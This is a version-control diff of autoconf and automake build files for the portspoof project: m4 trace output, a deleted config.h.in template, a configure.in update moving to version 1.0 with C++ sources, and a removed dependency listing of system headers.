m4trace:configure.in:18: -1- m4_pattern_allow([^host_os$])
|
||||
m4trace:configure.in:19: -1- AC_SUBST([host])
|
||||
m4trace:configure.in:19: -1- AC_SUBST_TRACE([host])
|
||||
m4trace:configure.in:19: -1- m4_pattern_allow([^host$])
|
||||
m4trace:configure.in:24: -1- AC_DEFINE_TRACE_LITERAL([LINUX])
|
||||
m4trace:configure.in:24: -1- m4_pattern_allow([^LINUX$])
|
||||
m4trace:configure.in:24: -1- AH_OUTPUT([LINUX], [/* This is a Linux system */
|
||||
@%:@undef LINUX])
|
||||
m4trace:configure.in:29: -1- AC_SUBST([CXX])
|
||||
m4trace:configure.in:29: -1- AC_SUBST_TRACE([CXX])
|
||||
m4trace:configure.in:29: -1- m4_pattern_allow([^CXX$])
|
||||
m4trace:configure.in:29: -1- AC_SUBST([CXXFLAGS])
|
||||
m4trace:configure.in:29: -1- AC_SUBST_TRACE([CXXFLAGS])
|
||||
m4trace:configure.in:29: -1- m4_pattern_allow([^CXXFLAGS$])
|
||||
m4trace:configure.in:29: -1- AC_SUBST([LDFLAGS])
|
||||
m4trace:configure.in:29: -1- AC_SUBST_TRACE([LDFLAGS])
|
||||
m4trace:configure.in:29: -1- m4_pattern_allow([^LDFLAGS$])
|
||||
m4trace:configure.in:29: -1- AC_SUBST([LIBS])
|
||||
m4trace:configure.in:29: -1- AC_SUBST_TRACE([LIBS])
|
||||
m4trace:configure.in:29: -1- m4_pattern_allow([^LIBS$])
|
||||
m4trace:configure.in:29: -1- AC_SUBST([CPPFLAGS])
|
||||
m4trace:configure.in:29: -1- AC_SUBST_TRACE([CPPFLAGS])
|
||||
m4trace:configure.in:29: -1- m4_pattern_allow([^CPPFLAGS$])
|
||||
m4trace:configure.in:29: -1- AC_SUBST([CXX])
|
||||
m4trace:configure.in:29: -1- AC_SUBST_TRACE([CXX])
|
||||
m4trace:configure.in:29: -1- m4_pattern_allow([^CXX$])
|
||||
m4trace:configure.in:29: -1- AC_SUBST([ac_ct_CXX])
|
||||
m4trace:configure.in:29: -1- AC_SUBST_TRACE([ac_ct_CXX])
|
||||
m4trace:configure.in:29: -1- m4_pattern_allow([^ac_ct_CXX$])
|
||||
m4trace:configure.in:29: -1- AC_SUBST([EXEEXT], [$ac_cv_exeext])
|
||||
m4trace:configure.in:29: -1- AC_SUBST_TRACE([EXEEXT])
|
||||
m4trace:configure.in:29: -1- m4_pattern_allow([^EXEEXT$])
|
||||
m4trace:configure.in:29: -1- AC_SUBST([OBJEXT], [$ac_cv_objext])
|
||||
m4trace:configure.in:29: -1- AC_SUBST_TRACE([OBJEXT])
|
||||
m4trace:configure.in:29: -1- m4_pattern_allow([^OBJEXT$])
|
||||
m4trace:configure.in:29: -1- AC_SUBST([DEPDIR], ["${am__leading_dot}deps"])
|
||||
m4trace:configure.in:29: -1- AC_SUBST_TRACE([DEPDIR])
|
||||
m4trace:configure.in:29: -1- m4_pattern_allow([^DEPDIR$])
|
||||
m4trace:configure.in:29: -1- AC_SUBST([am__include])
|
||||
m4trace:configure.in:29: -1- AC_SUBST_TRACE([am__include])
|
||||
m4trace:configure.in:29: -1- m4_pattern_allow([^am__include$])
|
||||
m4trace:configure.in:29: -1- AC_SUBST([am__quote])
|
||||
m4trace:configure.in:29: -1- AC_SUBST_TRACE([am__quote])
|
||||
m4trace:configure.in:29: -1- m4_pattern_allow([^am__quote$])
|
||||
m4trace:configure.in:29: -1- AM_CONDITIONAL([AMDEP], [test "x$enable_dependency_tracking" != xno])
|
||||
m4trace:configure.in:29: -1- AC_SUBST([AMDEP_TRUE])
|
||||
m4trace:configure.in:29: -1- AC_SUBST_TRACE([AMDEP_TRUE])
|
||||
m4trace:configure.in:29: -1- m4_pattern_allow([^AMDEP_TRUE$])
|
||||
m4trace:configure.in:29: -1- AC_SUBST([AMDEP_FALSE])
|
||||
m4trace:configure.in:29: -1- AC_SUBST_TRACE([AMDEP_FALSE])
|
||||
m4trace:configure.in:29: -1- m4_pattern_allow([^AMDEP_FALSE$])
|
||||
m4trace:configure.in:29: -1- _AM_SUBST_NOTMAKE([AMDEP_TRUE])
|
||||
m4trace:configure.in:29: -1- _AM_SUBST_NOTMAKE([AMDEP_FALSE])
|
||||
m4trace:configure.in:29: -1- AC_SUBST([AMDEPBACKSLASH])
|
||||
m4trace:configure.in:29: -1- AC_SUBST_TRACE([AMDEPBACKSLASH])
|
||||
m4trace:configure.in:29: -1- m4_pattern_allow([^AMDEPBACKSLASH$])
|
||||
m4trace:configure.in:29: -1- _AM_SUBST_NOTMAKE([AMDEPBACKSLASH])
|
||||
m4trace:configure.in:29: -1- AC_SUBST([CXXDEPMODE], [depmode=$am_cv_CXX_dependencies_compiler_type])
|
||||
m4trace:configure.in:29: -1- AC_SUBST_TRACE([CXXDEPMODE])
|
||||
m4trace:configure.in:29: -1- m4_pattern_allow([^CXXDEPMODE$])
|
||||
m4trace:configure.in:29: -1- AM_CONDITIONAL([am__fastdepCXX], [
|
||||
test "x$enable_dependency_tracking" != xno \
|
||||
&& test "$am_cv_CXX_dependencies_compiler_type" = gcc3])
|
||||
m4trace:configure.in:29: -1- AC_SUBST([am__fastdepCXX_TRUE])
|
||||
m4trace:configure.in:29: -1- AC_SUBST_TRACE([am__fastdepCXX_TRUE])
|
||||
m4trace:configure.in:29: -1- m4_pattern_allow([^am__fastdepCXX_TRUE$])
|
||||
m4trace:configure.in:29: -1- AC_SUBST([am__fastdepCXX_FALSE])
|
||||
m4trace:configure.in:29: -1- AC_SUBST_TRACE([am__fastdepCXX_FALSE])
|
||||
m4trace:configure.in:29: -1- m4_pattern_allow([^am__fastdepCXX_FALSE$])
|
||||
m4trace:configure.in:29: -1- _AM_SUBST_NOTMAKE([am__fastdepCXX_TRUE])
|
||||
m4trace:configure.in:29: -1- _AM_SUBST_NOTMAKE([am__fastdepCXX_FALSE])
|
||||
m4trace:configure.in:30: -1- AM_PROG_CC_C_O
|
||||
m4trace:configure.in:30: -1- AC_SUBST([CC])
|
||||
m4trace:configure.in:30: -1- AC_SUBST_TRACE([CC])
|
||||
m4trace:configure.in:30: -1- m4_pattern_allow([^CC$])
|
||||
m4trace:configure.in:30: -1- AC_SUBST([CFLAGS])
|
||||
m4trace:configure.in:30: -1- AC_SUBST_TRACE([CFLAGS])
|
||||
m4trace:configure.in:30: -1- m4_pattern_allow([^CFLAGS$])
|
||||
m4trace:configure.in:30: -1- AC_SUBST([LDFLAGS])
|
||||
m4trace:configure.in:30: -1- AC_SUBST_TRACE([LDFLAGS])
|
||||
m4trace:configure.in:30: -1- m4_pattern_allow([^LDFLAGS$])
|
||||
m4trace:configure.in:30: -1- AC_SUBST([LIBS])
|
||||
m4trace:configure.in:30: -1- AC_SUBST_TRACE([LIBS])
|
||||
m4trace:configure.in:30: -1- m4_pattern_allow([^LIBS$])
|
||||
m4trace:configure.in:30: -1- AC_SUBST([CPPFLAGS])
|
||||
m4trace:configure.in:30: -1- AC_SUBST_TRACE([CPPFLAGS])
|
||||
m4trace:configure.in:30: -1- m4_pattern_allow([^CPPFLAGS$])
|
||||
m4trace:configure.in:30: -1- AC_SUBST([CC])
|
||||
m4trace:configure.in:30: -1- AC_SUBST_TRACE([CC])
|
||||
m4trace:configure.in:30: -1- m4_pattern_allow([^CC$])
|
||||
m4trace:configure.in:30: -1- AC_SUBST([CC])
|
||||
m4trace:configure.in:30: -1- AC_SUBST_TRACE([CC])
|
||||
m4trace:configure.in:30: -1- m4_pattern_allow([^CC$])
|
||||
m4trace:configure.in:30: -1- AC_SUBST([CC])
|
||||
m4trace:configure.in:30: -1- AC_SUBST_TRACE([CC])
|
||||
m4trace:configure.in:30: -1- m4_pattern_allow([^CC$])
|
||||
m4trace:configure.in:30: -1- AC_SUBST([CC])
|
||||
m4trace:configure.in:30: -1- AC_SUBST_TRACE([CC])
|
||||
m4trace:configure.in:30: -1- m4_pattern_allow([^CC$])
|
||||
m4trace:configure.in:30: -1- AC_SUBST([ac_ct_CC])
|
||||
m4trace:configure.in:30: -1- AC_SUBST_TRACE([ac_ct_CC])
|
||||
m4trace:configure.in:30: -1- m4_pattern_allow([^ac_ct_CC$])
|
||||
m4trace:configure.in:30: -1- AC_SUBST([CCDEPMODE], [depmode=$am_cv_CC_dependencies_compiler_type])
|
||||
m4trace:configure.in:30: -1- AC_SUBST_TRACE([CCDEPMODE])
|
||||
m4trace:configure.in:30: -1- m4_pattern_allow([^CCDEPMODE$])
|
||||
m4trace:configure.in:30: -1- AM_CONDITIONAL([am__fastdepCC], [
|
||||
test "x$enable_dependency_tracking" != xno \
|
||||
&& test "$am_cv_CC_dependencies_compiler_type" = gcc3])
|
||||
m4trace:configure.in:30: -1- AC_SUBST([am__fastdepCC_TRUE])
|
||||
m4trace:configure.in:30: -1- AC_SUBST_TRACE([am__fastdepCC_TRUE])
|
||||
m4trace:configure.in:30: -1- m4_pattern_allow([^am__fastdepCC_TRUE$])
|
||||
m4trace:configure.in:30: -1- AC_SUBST([am__fastdepCC_FALSE])
|
||||
m4trace:configure.in:30: -1- AC_SUBST_TRACE([am__fastdepCC_FALSE])
|
||||
m4trace:configure.in:30: -1- m4_pattern_allow([^am__fastdepCC_FALSE$])
|
||||
m4trace:configure.in:30: -1- _AM_SUBST_NOTMAKE([am__fastdepCC_TRUE])
|
||||
m4trace:configure.in:30: -1- _AM_SUBST_NOTMAKE([am__fastdepCC_FALSE])
|
||||
m4trace:configure.in:30: -1- AC_DEFINE_TRACE_LITERAL([NO_MINUS_C_MINUS_O])
|
||||
m4trace:configure.in:30: -1- m4_pattern_allow([^NO_MINUS_C_MINUS_O$])
|
||||
m4trace:configure.in:30: -1- AH_OUTPUT([NO_MINUS_C_MINUS_O], [/* Define to 1 if your C compiler doesn\'t accept -c and -o together. */
|
||||
@%:@undef NO_MINUS_C_MINUS_O])
|
||||
m4trace:configure.in:30: -1- AC_REQUIRE_AUX_FILE([compile])
|
||||
m4trace:configure.in:32: -1- AC_SUBST([SET_MAKE])
|
||||
m4trace:configure.in:32: -1- AC_SUBST_TRACE([SET_MAKE])
|
||||
m4trace:configure.in:32: -1- m4_pattern_allow([^SET_MAKE$])
|
||||
m4trace:configure.in:37: -1- AC_SUBST([CPP])
|
||||
m4trace:configure.in:37: -1- AC_SUBST_TRACE([CPP])
|
||||
m4trace:configure.in:37: -1- m4_pattern_allow([^CPP$])
|
||||
m4trace:configure.in:37: -1- AC_SUBST([CPPFLAGS])
|
||||
m4trace:configure.in:37: -1- AC_SUBST_TRACE([CPPFLAGS])
|
||||
m4trace:configure.in:37: -1- m4_pattern_allow([^CPPFLAGS$])
|
||||
m4trace:configure.in:37: -1- AC_SUBST([CPP])
|
||||
m4trace:configure.in:37: -1- AC_SUBST_TRACE([CPP])
|
||||
m4trace:configure.in:37: -1- m4_pattern_allow([^CPP$])
|
||||
m4trace:configure.in:37: -1- AC_SUBST([GREP])
|
||||
m4trace:configure.in:37: -1- AC_SUBST_TRACE([GREP])
|
||||
m4trace:configure.in:37: -1- m4_pattern_allow([^GREP$])
|
||||
m4trace:configure.in:37: -1- AC_SUBST([EGREP])
|
||||
m4trace:configure.in:37: -1- AC_SUBST_TRACE([EGREP])
|
||||
m4trace:configure.in:37: -1- m4_pattern_allow([^EGREP$])
|
||||
m4trace:configure.in:37: -1- AC_DEFINE_TRACE_LITERAL([STDC_HEADERS])
|
||||
m4trace:configure.in:37: -1- m4_pattern_allow([^STDC_HEADERS$])
|
||||
m4trace:configure.in:37: -1- AH_OUTPUT([STDC_HEADERS], [/* Define to 1 if you have the ANSI C header files. */
|
||||
@%:@undef STDC_HEADERS])
|
||||
m4trace:configure.in:38: -1- AC_DEFINE_TRACE_LITERAL([HAVE_SYS_WAIT_H])
|
||||
m4trace:configure.in:38: -1- m4_pattern_allow([^HAVE_SYS_WAIT_H$])
|
||||
m4trace:configure.in:38: -1- AH_OUTPUT([HAVE_SYS_WAIT_H], [/* Define to 1 if you have <sys/wait.h> that is POSIX.1 compatible. */
|
||||
@%:@undef HAVE_SYS_WAIT_H])
|
||||
m4trace:configure.in:39: -1- AH_OUTPUT([HAVE_FCNTL_H], [/* Define to 1 if you have the <fcntl.h> header file. */
|
||||
@%:@undef HAVE_FCNTL_H])
|
||||
m4trace:configure.in:39: -1- AH_OUTPUT([HAVE_LIMITS_H], [/* Define to 1 if you have the <limits.h> header file. */
|
||||
@%:@undef HAVE_LIMITS_H])
|
||||
m4trace:configure.in:39: -1- AH_OUTPUT([HAVE_NETDB_H], [/* Define to 1 if you have the <netdb.h> header file. */
|
||||
@%:@undef HAVE_NETDB_H])
|
||||
m4trace:configure.in:39: -1- AH_OUTPUT([HAVE_NETINET_IN_H], [/* Define to 1 if you have the <netinet/in.h> header file. */
|
||||
@%:@undef HAVE_NETINET_IN_H])
|
||||
m4trace:configure.in:39: -1- AH_OUTPUT([HAVE_STDLIB_H], [/* Define to 1 if you have the <stdlib.h> header file. */
|
||||
@%:@undef HAVE_STDLIB_H])
|
||||
m4trace:configure.in:39: -1- AH_OUTPUT([HAVE_STRING_H], [/* Define to 1 if you have the <string.h> header file. */
|
||||
@%:@undef HAVE_STRING_H])
|
||||
m4trace:configure.in:39: -1- AH_OUTPUT([HAVE_SYS_IOCTL_H], [/* Define to 1 if you have the <sys/ioctl.h> header file. */
|
||||
@%:@undef HAVE_SYS_IOCTL_H])
|
||||
m4trace:configure.in:39: -1- AH_OUTPUT([HAVE_SYS_SOCKET_H], [/* Define to 1 if you have the <sys/socket.h> header file. */
|
||||
@%:@undef HAVE_SYS_SOCKET_H])
|
||||
m4trace:configure.in:39: -1- AH_OUTPUT([HAVE_SYS_TIMEB_H], [/* Define to 1 if you have the <sys/timeb.h> header file. */
|
||||
@%:@undef HAVE_SYS_TIMEB_H])
|
||||
m4trace:configure.in:39: -1- AH_OUTPUT([HAVE_SYSLOG_H], [/* Define to 1 if you have the <syslog.h> header file. */
|
||||
@%:@undef HAVE_SYSLOG_H])
|
||||
m4trace:configure.in:39: -1- AH_OUTPUT([HAVE_UNISTD_H], [/* Define to 1 if you have the <unistd.h> header file. */
|
||||
@%:@undef HAVE_UNISTD_H])
|
||||
m4trace:configure.in:39: -1- AH_OUTPUT([HAVE_SYS_TYPES_H], [/* Define to 1 if you have the <sys/types.h> header file. */
|
||||
@%:@undef HAVE_SYS_TYPES_H])
|
||||
m4trace:configure.in:39: -1- AH_OUTPUT([HAVE_SYS_STAT_H], [/* Define to 1 if you have the <sys/stat.h> header file. */
|
||||
@%:@undef HAVE_SYS_STAT_H])
|
||||
m4trace:configure.in:39: -1- AH_OUTPUT([HAVE_STDLIB_H], [/* Define to 1 if you have the <stdlib.h> header file. */
|
||||
@%:@undef HAVE_STDLIB_H])
|
||||
m4trace:configure.in:39: -1- AH_OUTPUT([HAVE_STRING_H], [/* Define to 1 if you have the <string.h> header file. */
|
||||
@%:@undef HAVE_STRING_H])
|
||||
m4trace:configure.in:39: -1- AH_OUTPUT([HAVE_MEMORY_H], [/* Define to 1 if you have the <memory.h> header file. */
|
||||
@%:@undef HAVE_MEMORY_H])
|
||||
m4trace:configure.in:39: -1- AH_OUTPUT([HAVE_STRINGS_H], [/* Define to 1 if you have the <strings.h> header file. */
|
||||
@%:@undef HAVE_STRINGS_H])
|
||||
m4trace:configure.in:39: -1- AH_OUTPUT([HAVE_INTTYPES_H], [/* Define to 1 if you have the <inttypes.h> header file. */
|
||||
@%:@undef HAVE_INTTYPES_H])
|
||||
m4trace:configure.in:39: -1- AH_OUTPUT([HAVE_STDINT_H], [/* Define to 1 if you have the <stdint.h> header file. */
|
||||
@%:@undef HAVE_STDINT_H])
|
||||
m4trace:configure.in:39: -1- AH_OUTPUT([HAVE_UNISTD_H], [/* Define to 1 if you have the <unistd.h> header file. */
|
||||
@%:@undef HAVE_UNISTD_H])
|
||||
m4trace:configure.in:42: -1- AC_DEFINE_TRACE_LITERAL([const])
|
||||
m4trace:configure.in:42: -1- m4_pattern_allow([^const$])
|
||||
m4trace:configure.in:42: -1- AH_OUTPUT([const], [/* Define to empty if `const\' does not conform to ANSI C. */
|
||||
@%:@undef const])
|
||||
m4trace:configure.in:43: -1- AC_DEFINE_TRACE_LITERAL([size_t])
|
||||
m4trace:configure.in:43: -1- m4_pattern_allow([^size_t$])
|
||||
m4trace:configure.in:43: -1- AH_OUTPUT([size_t], [/* Define to `unsigned int\' if <sys/types.h> does not define. */
|
||||
@%:@undef size_t])
|
||||
m4trace:configure.in:46: -1- AH_OUTPUT([HAVE_STDLIB_H], [/* Define to 1 if you have the <stdlib.h> header file. */
|
||||
@%:@undef HAVE_STDLIB_H])
|
||||
m4trace:configure.in:46: -1- AC_DEFINE_TRACE_LITERAL([HAVE_STDLIB_H])
|
||||
m4trace:configure.in:46: -1- m4_pattern_allow([^HAVE_STDLIB_H$])
|
||||
m4trace:configure.in:46: -1- AC_DEFINE_TRACE_LITERAL([HAVE_MALLOC])
|
||||
m4trace:configure.in:46: -1- m4_pattern_allow([^HAVE_MALLOC$])
|
||||
m4trace:configure.in:46: -1- AH_OUTPUT([HAVE_MALLOC], [/* Define to 1 if your system has a GNU libc compatible `malloc\' function, and
|
||||
to 0 otherwise. */
|
||||
@%:@undef HAVE_MALLOC])
|
||||
m4trace:configure.in:46: -1- AC_DEFINE_TRACE_LITERAL([HAVE_MALLOC])
|
||||
m4trace:configure.in:46: -1- m4_pattern_allow([^HAVE_MALLOC$])
|
||||
m4trace:configure.in:46: -1- AC_LIBSOURCE([malloc.c])
|
||||
m4trace:configure.in:46: -1- AC_SUBST([LIB@&t@OBJS], ["$LIB@&t@OBJS malloc.$ac_objext"])
|
||||
m4trace:configure.in:46: -1- AC_SUBST_TRACE([LIB@&t@OBJS])
|
||||
m4trace:configure.in:46: -1- m4_pattern_allow([^LIB@&t@OBJS$])
|
||||
m4trace:configure.in:46: -1- AC_DEFINE_TRACE_LITERAL([malloc])
|
||||
m4trace:configure.in:46: -1- m4_pattern_allow([^malloc$])
|
||||
m4trace:configure.in:46: -1- AH_OUTPUT([malloc], [/* Define to rpl_malloc if the replacement function should be used. */
|
||||
@%:@undef malloc])
|
||||
m4trace:configure.in:47: -1- AH_OUTPUT([HAVE_INET_NTOA], [/* Define to 1 if you have the `inet_ntoa\' function. */
|
||||
@%:@undef HAVE_INET_NTOA])
|
||||
m4trace:configure.in:47: -1- AH_OUTPUT([HAVE_MEMSET], [/* Define to 1 if you have the `memset\' function. */
|
||||
@%:@undef HAVE_MEMSET])
|
||||
m4trace:configure.in:47: -1- AH_OUTPUT([HAVE_SOCKET], [/* Define to 1 if you have the `socket\' function. */
|
||||
@%:@undef HAVE_SOCKET])
|
||||
m4trace:configure.in:49: -1- AC_CONFIG_FILES([Makefile src/Makefile tools/Makefile])
|
||||
m4trace:configure.in:50: -1- AC_SUBST([LIB@&t@OBJS], [$ac_libobjs])
|
||||
m4trace:configure.in:50: -1- AC_SUBST_TRACE([LIB@&t@OBJS])
|
||||
m4trace:configure.in:50: -1- m4_pattern_allow([^LIB@&t@OBJS$])
|
||||
m4trace:configure.in:50: -1- AC_SUBST([LTLIBOBJS], [$ac_ltlibobjs])
|
||||
m4trace:configure.in:50: -1- AC_SUBST_TRACE([LTLIBOBJS])
|
||||
m4trace:configure.in:50: -1- m4_pattern_allow([^LTLIBOBJS$])
|
||||
m4trace:configure.in:50: -1- AM_CONDITIONAL([am__EXEEXT], [test -n "$EXEEXT"])
|
||||
m4trace:configure.in:50: -1- AC_SUBST([am__EXEEXT_TRUE])
|
||||
m4trace:configure.in:50: -1- AC_SUBST_TRACE([am__EXEEXT_TRUE])
|
||||
m4trace:configure.in:50: -1- m4_pattern_allow([^am__EXEEXT_TRUE$])
|
||||
m4trace:configure.in:50: -1- AC_SUBST([am__EXEEXT_FALSE])
|
||||
m4trace:configure.in:50: -1- AC_SUBST_TRACE([am__EXEEXT_FALSE])
|
||||
m4trace:configure.in:50: -1- m4_pattern_allow([^am__EXEEXT_FALSE$])
|
||||
m4trace:configure.in:50: -1- _AM_SUBST_NOTMAKE([am__EXEEXT_TRUE])
|
||||
m4trace:configure.in:50: -1- _AM_SUBST_NOTMAKE([am__EXEEXT_FALSE])
|
||||
m4trace:configure.in:50: -1- AC_SUBST_TRACE([top_builddir])
|
||||
m4trace:configure.in:50: -1- AC_SUBST_TRACE([top_build_prefix])
|
||||
m4trace:configure.in:50: -1- AC_SUBST_TRACE([srcdir])
|
||||
m4trace:configure.in:50: -1- AC_SUBST_TRACE([abs_srcdir])
|
||||
m4trace:configure.in:50: -1- AC_SUBST_TRACE([top_srcdir])
|
||||
m4trace:configure.in:50: -1- AC_SUBST_TRACE([abs_top_srcdir])
|
||||
m4trace:configure.in:50: -1- AC_SUBST_TRACE([builddir])
|
||||
m4trace:configure.in:50: -1- AC_SUBST_TRACE([abs_builddir])
|
||||
m4trace:configure.in:50: -1- AC_SUBST_TRACE([abs_top_builddir])
|
||||
m4trace:configure.in:50: -1- AC_SUBST_TRACE([INSTALL])
|
||||
m4trace:configure.in:50: -1- AC_SUBST_TRACE([MKDIR_P])
|
101
config.h.in
101
config.h.in
@ -1,101 +0,0 @@
|
||||
/* config.h.in. Generated from configure.in by autoheader. */
|
||||
|
||||
/* Define to 1 if you have the <fcntl.h> header file. */
|
||||
#undef HAVE_FCNTL_H
|
||||
|
||||
/* Define to 1 if you have the `inet_ntoa' function. */
|
||||
#undef HAVE_INET_NTOA
|
||||
|
||||
/* Define to 1 if you have the <inttypes.h> header file. */
|
||||
#undef HAVE_INTTYPES_H
|
||||
|
||||
/* Define to 1 if you have the <limits.h> header file. */
|
||||
#undef HAVE_LIMITS_H
|
||||
|
||||
/* Define to 1 if your system has a GNU libc compatible `malloc' function, and
|
||||
to 0 otherwise. */
|
||||
#undef HAVE_MALLOC
|
||||
|
||||
/* Define to 1 if you have the <memory.h> header file. */
|
||||
#undef HAVE_MEMORY_H
|
||||
|
||||
/* Define to 1 if you have the `memset' function. */
|
||||
#undef HAVE_MEMSET
|
||||
|
||||
/* Define to 1 if you have the <netdb.h> header file. */
|
||||
#undef HAVE_NETDB_H
|
||||
|
||||
/* Define to 1 if you have the <netinet/in.h> header file. */
|
||||
#undef HAVE_NETINET_IN_H
|
||||
|
||||
/* Define to 1 if you have the `socket' function. */
|
||||
#undef HAVE_SOCKET
|
||||
|
||||
/* Define to 1 if you have the <stdint.h> header file. */
|
||||
#undef HAVE_STDINT_H
|
||||
|
||||
/* Define to 1 if you have the <stdlib.h> header file. */
|
||||
#undef HAVE_STDLIB_H
|
||||
|
||||
/* Define to 1 if you have the <strings.h> header file. */
|
||||
#undef HAVE_STRINGS_H
|
||||
|
||||
/* Define to 1 if you have the <string.h> header file. */
|
||||
#undef HAVE_STRING_H
|
||||
|
||||
/* Define to 1 if you have the <syslog.h> header file. */
|
||||
#undef HAVE_SYSLOG_H
|
||||
|
||||
/* Define to 1 if you have the <sys/ioctl.h> header file. */
|
||||
#undef HAVE_SYS_IOCTL_H
|
||||
|
||||
/* Define to 1 if you have the <sys/socket.h> header file. */
|
||||
#undef HAVE_SYS_SOCKET_H
|
||||
|
||||
/* Define to 1 if you have the <sys/stat.h> header file. */
|
||||
#undef HAVE_SYS_STAT_H
|
||||
|
||||
/* Define to 1 if you have the <sys/timeb.h> header file. */
|
||||
#undef HAVE_SYS_TIMEB_H
|
||||
|
||||
/* Define to 1 if you have the <sys/types.h> header file. */
|
||||
#undef HAVE_SYS_TYPES_H
|
||||
|
||||
/* Define to 1 if you have <sys/wait.h> that is POSIX.1 compatible. */
|
||||
#undef HAVE_SYS_WAIT_H
|
||||
|
||||
/* Define to 1 if you have the <unistd.h> header file. */
|
||||
#undef HAVE_UNISTD_H
|
||||
|
||||
/* Name of package */
|
||||
#undef PACKAGE
|
||||
|
||||
/* Define to the address where bug reports for this package should be sent. */
|
||||
#undef PACKAGE_BUGREPORT
|
||||
|
||||
/* Define to the full name of this package. */
|
||||
#undef PACKAGE_NAME
|
||||
|
||||
/* Define to the full name and version of this package. */
|
||||
#undef PACKAGE_STRING
|
||||
|
||||
/* Define to the one symbol short name of this package. */
|
||||
#undef PACKAGE_TARNAME
|
||||
|
||||
/* Define to the version of this package. */
|
||||
#undef PACKAGE_VERSION
|
||||
|
||||
/* Define to 1 if you have the ANSI C header files. */
|
||||
#undef STDC_HEADERS
|
||||
|
||||
/* Version number of package */
|
||||
#undef VERSION
|
||||
|
||||
/* Define to empty if `const' does not conform to ANSI C. */
|
||||
#undef const
|
||||
|
||||
/* Define to rpl_malloc if the replacement function should be used. */
|
||||
#undef malloc
|
||||
|
||||
/* Define to `unsigned int' if <sys/types.h> does not define. */
|
||||
#undef size_t
|
1071
config.status
1071
config.status
File diff suppressed because it is too large
Load Diff
12
configure.in
Normal file → Executable file
12
configure.in
Normal file → Executable file
@ -4,12 +4,12 @@
|
||||
CFLASGS="${CFLAGS=}"
|
||||
|
||||
AC_PREREQ(2.61)
|
||||
AC_INIT([portspoof], [0.3], [piotr@duszynski.eu])
|
||||
AC_INIT([portspoof], [1.0], [piotr[at]duszynski.eu])
|
||||
AC_CONFIG_AUX_DIR(auto)
|
||||
AC_CONFIG_MACRO_DIR([m4])
|
||||
|
||||
AM_INIT_AUTOMAKE(portspoof,0.2)
|
||||
AC_CONFIG_SRCDIR([src/portspoof.c])
|
||||
AM_INIT_AUTOMAKE(portspoof,1.0)
|
||||
AC_CONFIG_SRCDIR([src/Portspoof.cpp])
|
||||
AC_CONFIG_HEADER([src/config.h])
|
||||
AC_DEFINE([_GNU_SOURCE], [1], [Use GNU source])
|
||||
|
||||
@ -23,14 +23,10 @@ case "$host_os" in
|
||||
linux*)
|
||||
AC_DEFINE_UNQUOTED(LINUX,1,[This is a Linux system])
|
||||
;;
|
||||
openbsd*)
|
||||
AC_DEFINE_UNQUOTED(SOMEBSD,1,[This is a BSD system])
|
||||
AC_DEFINE_UNQUOTED(OPENBSD,1,[This is an OpenBSD system])
|
||||
;;
|
||||
esac
|
||||
|
||||
# Checks for programs.
|
||||
AC_PROG_CC
|
||||
AC_PROG_CXX
|
||||
AM_PROG_CC_C_O
|
||||
AC_PROG_INSTALL
|
||||
AC_PROG_MAKE_SET
|
||||
|
BIN
src/.DS_Store
vendored
Executable file
BIN
src/.DS_Store
vendored
Executable file
Binary file not shown.
@ -1 +0,0 @@
|
||||
# dummy
|
@ -1,231 +0,0 @@
|
||||
connection.o connection.o: connection.c connection.h \
|
||||
/usr/include/sys/socket.h /usr/include/sys/types.h \
|
||||
/usr/include/sys/appleapiopts.h /usr/include/sys/cdefs.h \
|
||||
/usr/include/sys/_symbol_aliasing.h \
|
||||
/usr/include/sys/_posix_availability.h /usr/include/machine/types.h \
|
||||
/usr/include/i386/types.h /usr/include/i386/_types.h \
|
||||
/usr/include/sys/_types.h /usr/include/machine/_types.h \
|
||||
/usr/include/machine/endian.h /usr/include/i386/endian.h \
|
||||
/usr/include/sys/_endian.h /usr/include/libkern/_OSByteOrder.h \
|
||||
/usr/include/libkern/i386/_OSByteOrder.h /usr/include/sys/_structs.h \
|
||||
/usr/include/machine/_param.h /usr/include/i386/_param.h \
|
||||
/usr/include/Availability.h /usr/include/AvailabilityInternal.h \
|
||||
/usr/include/assert.h /usr/include/net/if.h /usr/include/net/if_var.h \
|
||||
/usr/include/stdint.h /usr/include/sys/time.h /usr/include/time.h \
|
||||
/usr/include/_types.h /usr/include/_structs.h \
|
||||
/usr/include/sys/_select.h /usr/include/sys/queue.h \
|
||||
/usr/include/sys/ioctl.h /usr/include/sys/ttycom.h \
|
||||
/usr/include/sys/ioccom.h /usr/include/sys/filio.h \
|
||||
/usr/include/sys/sockio.h /usr/include/sys/stat.h \
|
||||
/usr/include/netinet/in.h /usr/include/netinet6/in6.h \
|
||||
/usr/include/sys/sysctl.h /usr/include/sys/ucred.h \
|
||||
/usr/include/sys/param.h /usr/include/sys/syslimits.h \
|
||||
/usr/include/machine/param.h /usr/include/i386/param.h \
|
||||
/usr/include/i386/_param.h \
|
||||
/usr/llvm-gcc-4.2/bin/../lib/gcc/i686-apple-darwin11/4.2.1/include/limits.h \
|
||||
/usr/llvm-gcc-4.2/bin/../lib/gcc/i686-apple-darwin11/4.2.1/include/syslimits.h \
|
||||
/usr/include/limits.h /usr/include/machine/limits.h \
|
||||
/usr/include/i386/limits.h /usr/include/i386/_limits.h \
|
||||
/usr/include/sys/signal.h /usr/include/machine/signal.h \
|
||||
/usr/include/i386/signal.h /usr/include/i386/_structs.h \
|
||||
/usr/include/machine/_structs.h /usr/include/mach/i386/_structs.h \
|
||||
/usr/include/bsm/audit.h /usr/include/mach/port.h \
|
||||
/usr/include/mach/boolean.h /usr/include/mach/machine/boolean.h \
|
||||
/usr/include/mach/i386/boolean.h /usr/include/mach/machine/vm_types.h \
|
||||
/usr/include/mach/i386/vm_types.h /usr/include/mach/i386/vm_param.h \
|
||||
/usr/include/sys/proc.h /usr/include/sys/select.h \
|
||||
/usr/include/sys/lock.h /usr/include/sys/event.h /usr/include/sys/vm.h \
|
||||
/usr/include/netdb.h /usr/include/fcntl.h /usr/include/sys/fcntl.h \
|
||||
/usr/include/err.h /usr/include/errno.h /usr/include/sys/errno.h \
|
||||
/usr/include/stdio.h /usr/include/secure/_stdio.h \
|
||||
/usr/include/secure/_common.h revregex.h /usr/include/string.h \
|
||||
/usr/include/strings.h /usr/include/secure/_string.h \
|
||||
/usr/include/stdlib.h /usr/include/sys/wait.h \
|
||||
/usr/include/sys/resource.h /usr/include/alloca.h /usr/include/ctype.h \
|
||||
/usr/include/runetype.h threads.h porspoof.h
|
||||
|
||||
connection.h:
|
||||
|
||||
/usr/include/sys/socket.h:
|
||||
|
||||
/usr/include/sys/types.h:
|
||||
|
||||
